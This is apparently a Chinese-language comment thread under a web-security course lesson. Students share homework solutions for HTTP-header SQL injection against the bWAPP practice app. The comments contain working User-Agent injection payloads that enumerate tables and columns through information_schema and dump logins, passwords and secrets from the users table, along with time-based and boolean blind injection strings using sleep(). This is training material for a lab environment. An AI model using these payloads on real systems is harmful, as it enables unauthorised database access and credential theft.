三道作业题解
1 依次利用information_schema.tables information_schema.columns 查询,最后 select id from users limit 1 offset 0 可以参考get注入视频中的写法
2 还可以用布尔型和时间延迟注入
3 Kevin大佬已经说了时间延迟即可
如果看到这里你花了很久还没完成注入欢迎来看看~
https://github.com/aideyisu/CTF/blob/master/doc/HTTP头注入.md
作者回复: 感谢同学的认真学习和分享~
3
Kevin⚡️Zhou
2020-07-27
对于课后作业, 我的理解是, 我们仍然可以通过时间盲注的方式来进行相应操作, 例如:
我们将字段位置调换后, 将最后一个字段的值变成如下:
23'+ (select 1 from (select user()) as t where length((select database())) = 5 and sleep(2))); #
这样的话还是可以实现时间盲注的攻击方法. 当然这个query可以根据不同的需求进行相应的变化
作者回复: cool~ 是对的
共 2 条评论
1
CoffeeMilk
2023-01-18来自云南
解题思路:
1、利用SQL盲注完成HTTP头注入:(使用Burpsuit的重发器【Repeater】操作)
《1》获取到当前数据库名称(User-Agent: testAgent',database()) # )
《2》获取到当前数据库包含的表数量(User-Agent: testAgent',(SELECT count(*) from information_schema.tables WHERE table_schema=database())) # )
《3》获取到当前数据库包含指定数量的表名称(User-Agent: testAgent',(SELECT GROUP_CONCAT(table_name SEPARATOR '\n') from information_schema.tables WHERE table_schema=database() LIMIT 0,5)) # )
《4》获取到指定表对应的所有列名称(User-Agent: testAgent',(SELECT GROUP_CONCAT(column_name SEPARATOR '\n') from information_schema.COLUMNS WHERE table_name='users')) # )
《5》获取到用户表对应的列信息(User-Agent: testAgent',(SELECT GROUP_CONCAT(CONCAT_WS('\n',login,password,secret) SEPARATOR '\n') from users)) # )
如果合并内容后在界面显示信息不全,那么我们只能一列一列的取读取数据(使用LIMIT函数限制)
《5》获取到指定表对应的数据行数(User-Agent: testAgent',(SELECT COUNT(*) from users)) # )
《6》根据获取到的数据行数一行一行读取(User-Agent: testAgent',(SELECT GROUP_CONCAT(CONCAT_WS('\n',login,password,secret) SEPARATOR '\n') from users LIMIT 0,1)) # )
3、如果注入的userAgent为最后一列的注入思路:(主线是采用bool结合时间盲注)
使用bool结合时间盲注进行判定:具体的可以参考【https://gitee.com/kafeiweimei/b-wapp-range-clearance/tree/master/%E6%BC%8F%E6%B4%9E%E7%B1%BB%E5%9E%8B%E5%92%8C%E8%A7%A3%E5%86%B3%E6%80%9D%E8%B7%AF】内容操作:
大致思路为:
①获取数据库名称的长度【database()函数获取当前数据库名称、Length()函数获取长度】;
②根据数据库名称的长度进行逐一截取数据库名称的每个字符与ASCII匹配结合时间注入进行判定【substr()函数截取,ASCII()函数将字符转为数字、sleep()函数为时间盲注】
③对匹配上的每个数字在转为ASCII字符即可
字符串后【使用bool结合时间盲注】操作可以参考如下函数:
【SELECT if(1=1,1,0)】示例:【SELECT 'test'+(if(LENGTH(DATABASE())=5,1,0) and sleep(2))】;
【SELECT 'test'+(1=1 and LENGTH(DATABASE())=5 and sleep(2))】
展开
1
lyon
2021-02-28
0.找出bWAPP下的表
mm', (select group_concat(table_name) from information_schema.tables where table_schema='bWAPP')); #
1.查询users表中的列名
mm', (select group_concat(column_name) from information_schema.columns where table_schema='bWAPP')); #
2.查询users表中的登录名login
mm', (select group_concat(login) from users )); #
3.查询密码password
mm', (select password from users where login='A.I.M.' )); #
此处如果显示所有的密码字段,会由于字节数限制显示不完全